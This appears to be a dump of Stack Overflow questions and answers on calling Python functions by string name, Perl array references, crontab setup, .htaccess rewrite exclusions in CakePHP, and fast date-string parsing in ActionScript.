a dictionary with the global symbol table:</p>\n<pre><code>globals()[&quot;myfunction&quot;]()\n</code></pre>\n</li>\n</ul>\n" }, { "answer_id": 9272378, "author": "trubliphone", "author_id": 1060339, "author_profile": "https://Stackoverflow.com/users/1060339", "pm_score": 5, "selected": false, "text": "<p>For what it's worth, if you needed to pass the function (or class) name and app name as a string, then you could do this:</p>\n\n<pre><code>myFnName = \"MyFn\"\nmyAppName = \"MyApp\"\napp = sys.modules[myAppName]\nfn = getattr(app,myFnName)\n</code></pre>\n" }, { "answer_id": 12025554, "author": "Sourcegeek", "author_id": 1609832, "author_profile": "https://Stackoverflow.com/users/1609832", "pm_score": 7, "selected": false, "text": "<p>Just a simple contribution. If the class that we need to instance is in the same file, we can use something like this:</p>\n\n<pre><code># Get class from globals and create an instance\nm = globals()['our_class']()\n\n# Get the function (from the instance) that we need to call\nfunc = getattr(m, 'function_name')\n\n# Call it\nfunc()\n</code></pre>\n\n<p>For example:</p>\n\n<pre><code>class A:\n def __init__(self):\n pass\n\n def sampleFunc(self, arg):\n print('you called sampleFunc({})'.format(arg))\n\nm = globals()['A']()\nfunc = getattr(m, 'sampleFunc')\nfunc('sample arg')\n\n# Sample, all on one line\ngetattr(globals()['A'](), 'sampleFunc')('sample arg')\n</code></pre>\n\n<p>And, if not a class:</p>\n\n<pre><code>def sampleFunc(arg):\n print('you called sampleFunc({})'.format(arg))\n\nglobals()['sampleFunc']('sample arg')\n</code></pre>\n" }, { "answer_id": 14072943, "author": "Natdrip", "author_id": 1112523, "author_profile": "https://Stackoverflow.com/users/1112523", "pm_score": 4, "selected": false, "text": "<p>none of what was suggested helped me. I did discover this though.</p>\n\n<pre><code>&lt;object&gt;.__getattribute__(&lt;string name&gt;)(&lt;params&gt;)\n</code></pre>\n\n<p>I am using python 2.66 </p>\n\n<p>Hope this helps</p>\n" }, { "answer_id": 19393328, "author": "ferrouswheel", "author_id": 272238, "author_profile": "https://Stackoverflow.com/users/272238", "pm_score": 7, "selected": false, "text": "<p>Given a string, with a complete python path to a function, this is how I went about getting the result of said function:</p>\n\n<pre><code>import importlib\nfunction_string = 'mypackage.mymodule.myfunc'\nmod_name, func_name = function_string.rsplit('.',1)\nmod = importlib.import_module(mod_name)\nfunc = getattr(mod, func_name)\nresult = func()\n</code></pre>\n" }, { "answer_id": 22959509, "author": "00500005", "author_id": 1356953, "author_profile": "https://Stackoverflow.com/users/1356953", "pm_score": 6, "selected": false, "text": "<p>The answer (I hope) no one ever wanted</p>\n\n<p>Eval like behavior</p>\n\n<pre><code>getattr(locals().get(\"foo\") or globals().get(\"foo\"), \"bar\")()\n</code></pre>\n\n<p>Why not add auto-importing</p>\n\n<pre><code>getattr(\n locals().get(\"foo\") or \n globals().get(\"foo\") or\n __import__(\"foo\"), \n\"bar\")()\n</code></pre>\n\n<p>In case we have extra dictionaries we want to check</p>\n\n<pre><code>getattr(next((x for x in (f(\"foo\") for f in \n [locals().get, globals().get, \n self.__dict__.get, __import__]) \n if x)),\n\"bar\")()\n</code></pre>\n\n<p>We need to go deeper</p>\n\n<pre><code>getattr(next((x for x in (f(\"foo\") for f in \n ([locals().get, globals().get, self.__dict__.get] +\n [d.get for d in (list(dd.values()) for dd in \n [locals(),globals(),self.__dict__]\n if isinstance(dd,dict))\n if isinstance(d,dict)] + \n [__import__])) \n if x)),\n\"bar\")()\n</code></pre>\n" }, { "answer_id": 40219576, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 6, "selected": false, "text": "<p>The best answer according to the <a href=\"https://docs.python.org/3/faq/programming.html#how-do-i-use-strings-to-call-functions-methods\" rel=\"noreferrer\">Python programming FAQ</a> would be:</p>\n\n<pre><code>functions = {'myfoo': foo.bar}\n\nmystring = 'myfoo'\nif mystring in functions:\n functions[mystring]()\n</code></pre>\n\n<blockquote>\n <p>The primary advantage of this technique is that the strings do not need to match the names of the functions. This is also the primary technique used to emulate a case construct</p>\n</blockquote>\n" }, { "answer_id": 41024742, "author": "tvt173", "author_id": 701803, "author_profile": "https://Stackoverflow.com/users/701803", "pm_score": 5, "selected": false, "text": "<p>Try this. While this still uses eval, it only uses it to <em>summon the function from the current context</em>. Then, you have the real function to use as you wish.</p>\n\n<p>The main benefit for me from this is that you will get any eval-related errors at the point of summoning the function. Then you will get <em>only</em> the function-related errors when you call.</p>\n\n<pre><code>def say_hello(name):\n print 'Hello {}!'.format(name)\n\n# get the function by name\nmethod_name = 'say_hello'\nmethod = eval(method_name)\n\n# call it like a regular function later\nargs = ['friend']\nkwargs = {}\nmethod(*args, **kwargs)\n</code></pre>\n" }, { "answer_id": 55363812, "author": "Serjik", "author_id": 546822, "author_profile": "https://Stackoverflow.com/users/546822", "pm_score": 4, "selected": false, "text": "<p>As this question <a href=\"https://stackoverflow.com/questions/16642145/how-to-dynamically-call-methods-within-a-class-using-method-name-assignment-to-a\">How to dynamically call methods within a class using method-name assignment to a variable [duplicate]</a> marked as a duplicate as this one, I am posting a related answer here:</p>\n\n<p>The scenario is, a method in a class want to call another method on the same class dynamically, I have added some details to original example which offers some wider scenario and clarity:</p>\n\n<pre><code>class MyClass:\n def __init__(self, i):\n self.i = i\n\n def get(self):\n func = getattr(MyClass, 'function{}'.format(self.i))\n func(self, 12) # This one will work\n # self.func(12) # But this does NOT work.\n\n\n def function1(self, p1):\n print('function1: {}'.format(p1))\n # do other stuff\n\n def function2(self, p1):\n print('function2: {}'.format(p1))\n # do other stuff\n\n\nif __name__ == \"__main__\":\n class1 = MyClass(1)\n class1.get()\n class2 = MyClass(2)\n class2.get()\n</code></pre>\n\n<blockquote>\n <p>Output (Python 3.7.x)</p>\n \n <p>function1: 12 </p>\n \n <p>function2: 12</p>\n</blockquote>\n" }, { "answer_id": 57696855, "author": "Number File", "author_id": 11530007, "author_profile": "https://Stackoverflow.com/users/11530007", "pm_score": -1, "selected": false, "text": "<p>This is a simple answer, this will allow you to clear the screen for example. There are two examples below, with eval and exec, that will print 0 at the top after cleaning (if you're using Windows, change <code>clear</code> to <code>cls</code>, Linux and Mac users leave as is for example) or just execute it, respectively.</p>\n\n<pre><code>eval(\"os.system(\\\"clear\\\")\")\nexec(\"os.system(\\\"clear\\\")\")\n</code></pre>\n" }, { "answer_id": 62672406, "author": "정도유", "author_id": 5532667, "author_profile": "https://Stackoverflow.com/users/5532667", "pm_score": 3, "selected": false, "text": "<p><code>getattr</code> calls method by name from an object.\nBut this object should be parent of calling class.\nThe parent class can be got by <code>super(self.__class__, self)</code></p>\n<pre class=\"lang-py prettyprint-override\"><code>class Base:\n def call_base(func):\n &quot;&quot;&quot;This does not work&quot;&quot;&quot;\n def new_func(self, *args, **kwargs):\n name = func.__name__\n getattr(super(self.__class__, self), name)(*args, **kwargs)\n return new_func\n\n def f(self, *args):\n print(f&quot;BASE method invoked.&quot;)\n\n def g(self, *args):\n print(f&quot;BASE method invoked.&quot;)\n\nclass Inherit(Base):\n @Base.call_base\n def f(self, *args):\n &quot;&quot;&quot;function body will be ignored by the decorator.&quot;&quot;&quot;\n pass\n\n @Base.call_base\n def g(self, *args):\n &quot;&quot;&quot;function body will be ignored by the decorator.&quot;&quot;&quot;\n pass\n\nInherit().f() # The goal is to print &quot;BASE method invoked.&quot;\n</code></pre>\n" }, { "answer_id": 62937980, "author": "Lukas", "author_id": 10257810, "author_profile": "https://Stackoverflow.com/users/10257810", "pm_score": 4, "selected": false, "text": "<p>Although getattr() is elegant (and about 7x faster) method, you can get return value from the function (local, class method, module) with eval as elegant as <code>x = eval('foo.bar')()</code>. And when you implement some error handling then quite securely (the same principle can be used for getattr). Example with module import and class:</p>\n<pre><code># import module, call module function, pass parameters and print retured value with eval():\nimport random\nbar = 'random.randint'\nrandint = eval(bar)(0,100)\nprint(randint) # will print random int from &lt;0;100)\n\n# also class method returning (or not) value(s) can be used with eval: \nclass Say:\n def say(something='nothing'):\n return something\n\nbar = 'Say.say'\nprint(eval(bar)('nice to meet you too')) # will print 'nice to meet you' \n</code></pre>\n<p>When module or class does not exist (typo or anything better) then NameError is raised. When function does not exist, then AttributeError is raised. This can be used to handle errors:</p>\n<pre><code># try/except block can be used to catch both errors\ntry:\n eval('Say.talk')() # raises AttributeError because function does not exist\n eval('Says.say')() # raises NameError because the class does not exist\n # or the same with getattr:\n getattr(Say, 'talk')() # raises AttributeError\n getattr(Says, 'say')() # raises NameError\nexcept AttributeError:\n # do domething or just...\n print('Function does not exist')\nexcept NameError:\n # do domething or just...\n print('Module does not exist')\n</code></pre>\n" }, { "answer_id": 67982516, "author": "Bowen 404", "author_id": 7266363, "author_profile": "https://Stackoverflow.com/users/7266363", "pm_score": 2, "selected": false, "text": "<p>i'm facing the similar problem before, which is to convert a string to a function. <strong>but i can't use <code>eval()</code> or <code>ast.literal_eval()</code>, because i don't want to execute this code immediately.</strong></p>\n<p>e.g. i have a string <code>&quot;foo.bar&quot;</code>, and i want to assign it to <code>x</code> as a function name instead of a string, which means i can call the function by <code>x()</code> <strong>ON DEMAND</strong>.</p>\n<p>here's my code:</p>\n<pre class=\"lang-py prettyprint-override\"><code>str_to_convert = &quot;foo.bar&quot;\nexec(f&quot;x = {str_to_convert}&quot;)\nx()\n</code></pre>\n<p>as for your question, you only need to add your module name <code>foo</code> and <code>.</code> before <code>{}</code> as follows:</p>\n<pre class=\"lang-py prettyprint-override\"><code>str_to_convert = &quot;bar&quot;\nexec(f&quot;x = foo.{str_to_convert}&quot;)\nx()\n</code></pre>\n<p><strong>WARNING!!! either <code>eval()</code> or <code>exec()</code> is a dangerous method, you should confirm the safety.</strong>\n<strong>WARNING!!! either <code>eval()</code> or <code>exec()</code> is a dangerous method, you should confirm the safety.</strong>\n<strong>WARNING!!! either <code>eval()</code> or <code>exec()</code> is a dangerous method, you should confirm the safety.</strong></p>\n" }, { "answer_id": 68283436, "author": "Aliakbar Ahmadi", "author_id": 4879852, "author_profile": "https://Stackoverflow.com/users/4879852", "pm_score": 4, "selected": false, "text": "<p>In python3, you can use the <code>__getattribute__</code> method. See following example with a list method name string:</p>\n<pre><code>func_name = 'reverse'\n\nl = [1, 2, 3, 4]\nprint(l)\n&gt;&gt; [1, 2, 3, 4]\n\nl.__getattribute__(func_name)()\nprint(l)\n&gt;&gt; [4, 3, 2, 1]\n</code></pre>\n" }, { "answer_id": 69249811, "author": "U12-Forward", "author_id": 8708364, "author_profile": "https://Stackoverflow.com/users/8708364", "pm_score": 3, "selected": false, "text": "<p>Nobody mentioned <code>operator.attrgetter</code> yet:</p>\n<pre><code>&gt;&gt;&gt; from operator import attrgetter\n&gt;&gt;&gt; l = [1, 2, 3]\n&gt;&gt;&gt; attrgetter('reverse')(l)()\n&gt;&gt;&gt; l\n[3, 2, 1]\n&gt;&gt;&gt; \n</code></pre>\n" }, { "answer_id": 70526558, "author": "Franz Kurt", "author_id": 7327114, "author_profile": "https://Stackoverflow.com/users/7327114", "pm_score": -1, "selected": false, "text": "<p>You means get the pointer to an inner function from a module</p>\n<pre><code>import foo\nmethod = foo.bar\nexecuted = method(parameter)\n</code></pre>\n<p>This is not a better pythonic way indeed is possible for punctual cases</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3061", "https://Stackoverflow.com", "https://Stackoverflow.com/users/121/" ]
How do I call a function, using a string with the function's name? For example: ``` import foo func_name = "bar" call(foo, func_name) # calls foo.bar() ```
Given a module `foo` with method `bar`: ``` import foo bar = getattr(foo, 'bar') result = bar() ``` [`getattr`](https://docs.python.org/library/functions.html#getattr) can similarly be used on class instance bound methods, module-level methods, class methods... the list goes on.
3,112
<p>I have a perl variable <code>$results</code> that gets returned from a service. The value is supposed to be an array, and <code>$results</code> should be an array reference. However, when the array has only one item in it, <code>$results</code> will be set to that value, and not a referenced array that contains that one item.</p> <p>I want to do a <code>foreach</code> loop on the expected array. Without checking <code>ref($results) eq 'ARRAY'</code>, is there any way to have something equivalent to the following:</p> <pre><code>foreach my $result (@$results) { # Process $result } </code></pre> <p>That particular code sample will work for the reference, but will complain for the simple scalar.</p> <p>EDIT: I should clarify that there is no way for me to change what is returned from the service. The problem is that the value will be a scalar when there is only one value and it will be an array reference when there is more than one value.</p>
[ { "answer_id": 3126, "author": "svrist", "author_id": 86, "author_profile": "https://Stackoverflow.com/users/86", "pm_score": -1, "selected": false, "text": "<p>I've just tested this with:</p>\n\n<blockquote>\n<pre><code>#!/usr/bin/perl -w\nuse strict;\n\nsub testit {\n\n my @ret = ();\n if (shift){\n push @ret,1;\n push @ret,2;\n push @ret,3;\n}else{\n push @ret,\"oneonly\";\n}\n\nreturn \\@ret;\n}\n\nforeach my $r (@{testit(1)}){\n print $r.\" test1\\n\";\n}\nforeach my $r (@{testit()}){\n print $r.\" test2\\n\";\n}\n</code></pre>\n</blockquote>\n\n<p>And it seems to work ok, so I'm thinking it has something to do with the result getting returned from the service?\nIf you have no control over the returning service this might be hard one to crack</p>\n" }, { "answer_id": 3134, "author": "svrist", "author_id": 86, "author_profile": "https://Stackoverflow.com/users/86", "pm_score": 6, "selected": true, "text": "<p>im not sure there's any other way than:</p>\n\n<blockquote>\n<pre><code>$result = [ $result ] if ref($result) ne 'ARRAY'; \nforeach .....\n</code></pre>\n</blockquote>\n" }, { "answer_id": 11722, "author": "Brad Gilbert", "author_id": 1337, "author_profile": "https://Stackoverflow.com/users/1337", "pm_score": 0, "selected": false, "text": "<p>I would re-factor the code inside the loop and then do</p>\n\n<pre><code>if( ref $results eq 'ARRAY' ){\n my_sub($result) for my $result (@$results);\n}else{\n my_sub($results);\n}\n</code></pre>\n\n<p>Of course I would only do that if the code in the loop was non-trivial.</p>\n" }, { "answer_id": 16243, "author": "user1917", "author_id": 1917, "author_profile": "https://Stackoverflow.com/users/1917", "pm_score": 4, "selected": false, "text": "<p>Another solution would be to wrap the call to the server and have it always return an array to simplify the rest of your life:</p>\n\n<pre><code>sub call_to_service\n{\n my $returnValue = service::call();\n\n if (ref($returnValue) eq \"ARRAY\")\n {\n return($returnValue);\n }\n else\n {\n return( [$returnValue] );\n }\n}\n</code></pre>\n\n<p>Then you can always know that you will get back a reference to an array, even if it was only one item.</p>\n\n<pre><code>foreach my $item (@{call_to_service()})\n{\n ...\n}\n</code></pre>\n" }, { "answer_id": 196099, "author": "draegtun", "author_id": 12195, "author_profile": "https://Stackoverflow.com/users/12195", "pm_score": 2, "selected": false, "text": "<p>Well if you can't do...</p>\n\n<pre><code>for my $result ( ref $results eq 'ARRAY' ? @$results : $results ) {\n # Process result\n}\n</code></pre>\n\n<p>or this...</p>\n\n<pre><code>for my $result ( ! ref $results ? $results : @$results ) {\n # Process result\n}\n</code></pre>\n\n<p>then you might have to try something hairy scary like this!....</p>\n\n<pre><code>for my $result ( eval { @$results }, eval $results ) {\n # Process result\n}\n</code></pre>\n\n<p>and to avoid that dangerous string eval it becomes really ugly fugly!!....</p>\n\n<pre><code>for my $result ( eval { $results-&gt;[0] } || $results, eval { @$results[1 .. $#{ $results }] } ) {\n # Process result\n}\n</code></pre>\n\n<p>PS. My preference would be to abstract it away in sub ala call_to_service() example given by reatmon.</p>\n" }, { "answer_id": 40756797, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": -1, "selected": false, "text": "<p>You can do it like this:</p>\n\n<pre><code>my @some_array\npush (@some_array, results);\nforeach my $elt(@some_array){\n #do something\n}\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/219/" ]
I have a perl variable `$results` that gets returned from a service. The value is supposed to be an array, and `$results` should be an array reference. However, when the array has only one item in it, `$results` will be set to that value, and not a referenced array that contains that one item. I want to do a `foreach` loop on the expected array. Without checking `ref($results) eq 'ARRAY'`, is there any way to have something equivalent to the following: ``` foreach my $result (@$results) { # Process $result } ``` That particular code sample will work for the reference, but will complain for the simple scalar. EDIT: I should clarify that there is no way for me to change what is returned from the service. The problem is that the value will be a scalar when there is only one value and it will be an array reference when there is more than one value.
im not sure there's any other way than: > > > ``` > $result = [ $result ] if ref($result) ne 'ARRAY'; > foreach ..... > > ``` > >
3,136
<p>How can I set up my crontab to execute X script at 11:59PM every day without emailing me or creating any logs?</p> <p>Right now my crontab looks something like this</p> <pre><code>@daily /path/to/script.sh </code></pre>
[ { "answer_id": 3139, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 4, "selected": true, "text": "<p>When you do crontab -e, try this:</p>\n\n<pre><code>59 23 * * * /usr/sbin/myscript &gt; /dev/null\n</code></pre>\n\n<p>That means: At 59 Minutes and 23 Hours on every day (*) on every month on every weekday, execute myscript.</p>\n\n<p>See <strong>man crontab</strong> for some more info and examples.</p>\n" }, { "answer_id": 3145, "author": "svrist", "author_id": 86, "author_profile": "https://Stackoverflow.com/users/86", "pm_score": 3, "selected": false, "text": "<p>You will with the above response receive email with any text written to stderr. Some people redirect that away too, and make sure that the script writes a log instead.</p>\n\n<pre><code>... 2&gt;&amp;1 ....\n</code></pre>\n" }, { "answer_id": 7080, "author": "Dominic Cooney", "author_id": 878, "author_profile": "https://Stackoverflow.com/users/878", "pm_score": 3, "selected": false, "text": "<p>Following up on <a href=\"https://stackoverflow.com/questions/3136/help-with-cronjobs#3145\">svrist's answer,</a> depending on your shell, the 2>&amp;1 should go <em>after</em> > /dev/null or you will still see the output from stderr.</p>\n\n<p>The following will silence both stdout and stderr:</p>\n\n<pre><code>59 23 * * * /usr/sbin/myscript &gt; /dev/null 2&gt;&amp;1\n</code></pre>\n\n<p>The following silences stdout, but stderr will still appear (via stdout):</p>\n\n<pre><code>59 23 * * * /usr/sbin/myscript 2&gt;&amp;1 &gt; /dev/null\n</code></pre>\n\n<p><a href=\"http://tldp.org/LDP/abs/html/io-redirection.html\" rel=\"nofollow noreferrer\">The Advanced Bash Scripting Guide's chapter on IO redirection</a> is a good reference--search for 2>&amp;1 to see a couple of examples.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/87/" ]
How can I set up my crontab to execute X script at 11:59PM every day without emailing me or creating any logs? Right now my crontab looks something like this ``` @daily /path/to/script.sh ```
When you do crontab -e, try this: ``` 59 23 * * * /usr/sbin/myscript > /dev/null ``` That means: At 59 Minutes and 23 Hours on every day (\*) on every month on every weekday, execute myscript. See **man crontab** for some more info and examples.
3,157
<p>In an application that heavily relies on <code>.htaccess</code> RewriteRules for its PrettyURLs (CakePHP in my case), how do I correctly set up directives to exclude certain directories from this rewriting? That is:</p> <pre><code>/appRoot/.htaccess app/ static/ </code></pre> <p>By default every request to <code>/appRoot/*</code> is being rewritten to be picked up by <code>app/webroot/index.php</code>, where it's being analysed and corresponding controller actions are being invoked. This is done by these directives in <code>.htaccess</code>:</p> <pre><code>RewriteBase /appRoot RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] </code></pre> <p>I now want to exclude a few directories like static/ from this rewriting. I tried with this <em>before</em> the Cake RewriteRules:</p> <pre><code>RewriteCond $1 ^(static|otherDir).*$ [NC] RewriteRule (.*) - [L] </code></pre> <p>It works in so far that requests are no longer rewritten, but now <strong>all</strong> requests are being skipped, even legitimate Cake requests which should not match <code>^(static|otherDir).*$</code>.</p> <p>I tried several variations of these rules but can't get it to work the way I want.</p>
[ { "answer_id": 3159, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 1, "selected": false, "text": "<p>Remove the [L] from the previous rules:</p>\n\n<pre><code>RewriteBase /appRoot\n\nRewriteRule ^$ app/webroot/ &amp;nbsp; &amp;nbsp;\nRewriteRule (.*) app/webroot/$1\n</code></pre>\n\n<p>[L] means \"Stop the rewriting process here and don't apply any more rewriting rules.\"</p>\n" }, { "answer_id": 3161, "author": "Lauren", "author_id": 265, "author_profile": "https://Stackoverflow.com/users/265", "pm_score": 1, "selected": false, "text": "<p>Could you not apply the condition to the following rules, but with negation, as in (with some variation thereof, I'm not too good at remembering .htaccess rules, so the flags might be wrong):</p>\n\n<pre><code>RewriteCond $1 !^(static|otherDir).*$ [NC]\nRewriteRule ^$ app/webroot/ [L]\n\nRewriteCond $1 !^(static|otherDir).*$ [NC]\nRewriteRule ^$ app/webroot/$1 [L]\n</code></pre>\n" }, { "answer_id": 4449, "author": "deceze", "author_id": 476, "author_profile": "https://Stackoverflow.com/users/476", "pm_score": 4, "selected": true, "text": "<p>And the correct answer iiiiis...</p>\n\n<pre><code>RewriteRule ^(a|bunch|of|old|directories).* - [NC,L]\n\n# all other requests will be forwarded to Cake\nRewriteRule ^$ app/webroot/ [L]\nRewriteRule (.*) app/webroot/$1 [L]\n</code></pre>\n\n<p>I still don't get why the index.php file in the root directory was called initially even with these directives in place. It is now located in</p>\n\n<pre><code>/appRoot/app/views/pages/home.ctp\n</code></pre>\n\n<p>and handled through Cake as well. With this in place now, I suppose this would have worked as well (slightly altered version of Mike's suggestion, untested):</p>\n\n<pre><code>RewriteCond $1 !^(a|bunch|of|old|directories).*$ [NC]\nRewriteRule ^(.*)$ app/webroot/$1 [L]\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3157", "https://Stackoverflow.com", "https://Stackoverflow.com/users/476/" ]
In an application that heavily relies on `.htaccess` RewriteRules for its PrettyURLs (CakePHP in my case), how do I correctly set up directives to exclude certain directories from this rewriting? That is: ``` /appRoot/.htaccess app/ static/ ``` By default every request to `/appRoot/*` is being rewritten to be picked up by `app/webroot/index.php`, where it's being analysed and corresponding controller actions are being invoked. This is done by these directives in `.htaccess`: ``` RewriteBase /appRoot RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] ``` I now want to exclude a few directories like static/ from this rewriting. I tried with this *before* the Cake RewriteRules: ``` RewriteCond $1 ^(static|otherDir).*$ [NC] RewriteRule (.*) - [L] ``` It works in so far that requests are no longer rewritten, but now **all** requests are being skipped, even legitimate Cake requests which should not match `^(static|otherDir).*$`. I tried several variations of these rules but can't get it to work the way I want.
And the correct answer iiiiis... ``` RewriteRule ^(a|bunch|of|old|directories).* - [NC,L] # all other requests will be forwarded to Cake RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] ``` I still don't get why the index.php file in the root directory was called initially even with these directives in place. It is now located in ``` /appRoot/app/views/pages/home.ctp ``` and handled through Cake as well. With this in place now, I suppose this would have worked as well (slightly altered version of Mike's suggestion, untested): ``` RewriteCond $1 !^(a|bunch|of|old|directories).*$ [NC] RewriteRule ^(.*)$ app/webroot/$1 [L] ```
3,163
<p>I have been trying to find a really fast way to parse yyyy-mm-dd [hh:mm:ss] into a Date object. Here are the 3 ways I have tried doing it and the times it takes each method to parse 50,000 date time strings.</p> <p>Does anyone know any faster ways of doing this or tips to speed up the methods?</p> <pre><code>castMethod1 takes 3673 ms castMethod2 takes 3812 ms castMethod3 takes 3931 ms </code></pre> <p>Code:</p> <pre><code>private function castMethod1(dateString:String):Date { if ( dateString == null ) { return null; } var year:int = int(dateString.substr(0,4)); var month:int = int(dateString.substr(5,2))-1; var day:int = int(dateString.substr(8,2)); if ( year == 0 &amp;&amp; month == 0 &amp;&amp; day == 0 ) { return null; } if ( dateString.length == 10 ) { return new Date(year, month, day); } var hour:int = int(dateString.substr(11,2)); var minute:int = int(dateString.substr(14,2)); var second:int = int(dateString.substr(17,2)); return new Date(year, month, day, hour, minute, second); } </code></pre> <p>-</p> <pre><code>private function castMethod2(dateString:String):Date { if ( dateString == null ) { return null; } if ( dateString.indexOf("0000-00-00") != -1 ) { return null; } dateString = dateString.split("-").join("/"); return new Date(Date.parse( dateString )); } </code></pre> <p>-</p> <pre><code>private function castMethod3(dateString:String):Date { if ( dateString == null ) { return null; } var mainParts:Array = dateString.split(" "); var dateParts:Array = mainParts[0].split("-"); if ( Number(dateParts[0])+Number(dateParts[1])+Number(dateParts[2]) == 0 ) { return null; } return new Date( Date.parse( dateParts.join("/")+(mainParts[1]?" "+mainParts[1]:" ") ) ); } </code></pre> <hr> <p>No, Date.parse will not handle dashes by default. And I need to return null for date time strings like <code>"0000-00-00"</code>.</p>
[ { "answer_id": 3185, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 2, "selected": false, "text": "<p>I'm guessing Date.Parse() doesn't work?</p>\n" }, { "answer_id": 3194, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 1, "selected": false, "text": "<p>Well then method 2 seems the best way:</p>\n\n<pre><code>private function castMethod2(dateString:String):Date {\n if ( dateString == null ) {\n return null;\n }\n\n if ( dateString.indexOf(\"0000-00-00\") != -1 ) {\n return null;\n }\n\n dateString = dateString.split(\"-\").join(\"/\");\n\n return new Date(Date.parse( dateString ));\n}\n</code></pre>\n" }, { "answer_id": 9904, "author": "grapefrukt", "author_id": 914, "author_profile": "https://Stackoverflow.com/users/914", "pm_score": 3, "selected": false, "text": "<p>This was the fastest I could come up with after some fiddling:</p>\n\n<pre><code>private function castMethod4(dateString:String):Date { \n if ( dateString == null ) \n return null; \n if ( dateString.length != 10 &amp;&amp; dateString.length != 19) \n return null;\n\n dateString = dateString.replace(\"-\", \"/\");\n dateString = dateString.replace(\"-\", \"/\");\n\n return new Date(Date.parse( dateString ));\n}\n</code></pre>\n\n<p>I get 50k iterations in about 470ms for castMethod2() on my computer and 300 ms for my version (that's the same amount of work done in 63% of the time). I'd definitely say both are \"Good enough\" unless you're parsing silly amounts of dates. </p>\n" }, { "answer_id": 10030, "author": "Theo", "author_id": 1109, "author_profile": "https://Stackoverflow.com/users/1109", "pm_score": 5, "selected": true, "text": "<p>I've been using the following snipplet to parse UTC date strings:</p>\n\n<pre><code>private function parseUTCDate( str : String ) : Date {\n var matches : Array = str.match(/(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d) (\\d\\d):(\\d\\d):(\\d\\d)Z/);\n\n var d : Date = new Date();\n\n d.setUTCFullYear(int(matches[1]), int(matches[2]) - 1, int(matches[3]));\n d.setUTCHours(int(matches[4]), int(matches[5]), int(matches[6]), 0);\n\n return d;\n}\n</code></pre>\n\n<p>Just remove the time part and it should work fine for your needs:</p>\n\n<pre><code>private function parseDate( str : String ) : Date {\n var matches : Array = str.match(/(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)/);\n\n var d : Date = new Date();\n\n d.setUTCFullYear(int(matches[1]), int(matches[2]) - 1, int(matches[3]));\n\n return d;\n}\n</code></pre>\n\n<p><strike>No idea about the speed, I haven't been worried about that in my applications.</strike> 50K iterations in significantly less than a second on my machine.</p>\n" }, { "answer_id": 3016172, "author": "JabbyPanda", "author_id": 193063, "author_profile": "https://Stackoverflow.com/users/193063", "pm_score": 1, "selected": false, "text": "<p>Because Date.parse() does not accept all possible formats, we can preformat the passed dateString value using DateFormatter with formatString that Data.parse() can understand, e.g</p>\n\n<pre><code>// English formatter\nvar stringValue = \"2010.10.06\"\nvar dateCommonFormatter : DateFormatter = new DateFormatter();\ndateCommonFormatter.formatString = \"YYYY/MM/DD\";\n\nvar formattedStringValue : String = dateCommonFormatter.format(stringValue); \nvar dateFromString : Date = new Date(Date.parse(formattedStringValue));\n</code></pre>\n" }, { "answer_id": 6972550, "author": "Abhinav Mehta", "author_id": 882693, "author_profile": "https://Stackoverflow.com/users/882693", "pm_score": 0, "selected": false, "text": "<p>Here is my implementation. Give this a try.</p>\n\n<pre><code>public static function dateToUtcTime(date:Date):String {\n var tmp:Array = new Array();\n var char:String;\n var output:String = '';\n\n // create format YYMMDDhhmmssZ\n // ensure 2 digits are used for each format entry, so 0x00 suffuxed at each byte\n\n tmp.push(date.secondsUTC);\n tmp.push(date.minutesUTC);\n tmp.push(date.hoursUTC);\n tmp.push(date.getUTCDate());\n tmp.push(date.getUTCMonth() + 1); // months 0-11\n tmp.push(date.getUTCFullYear() % 100);\n\n\n for(var i:int=0; i &lt; 6/* 7 items pushed*/; ++i) {\n char = String(tmp.pop());\n trace(\"char: \" + char);\n if(char.length &lt; 2)\n output += \"0\";\n output += char;\n }\n\n output += 'Z';\n\n return output;\n}\n</code></pre>\n" }, { "answer_id": 20170012, "author": "Romeo", "author_id": 3026302, "author_profile": "https://Stackoverflow.com/users/3026302", "pm_score": 1, "selected": false, "text": "<pre><code>var strDate:String = \"2013-01-24 01:02:40\";\n\nfunction dateParser(s:String):Date{\n var regexp:RegExp = /(\\d{4})\\-(\\d{1,2})\\-(\\d{1,2}) (\\d{2})\\:(\\d{2})\\:(\\d{2})/;\n var _result:Object = regexp.exec(s);\n\n return new Date(\n parseInt(_result[1]),\n parseInt(_result[2])-1,\n parseInt(_result[3]),\n parseInt(_result[4]),\n parseInt(_result[5]),\n parseInt(_result[6])\n );\n}\n\nvar myDate:Date = dateParser(strDate);\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3163", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22/" ]
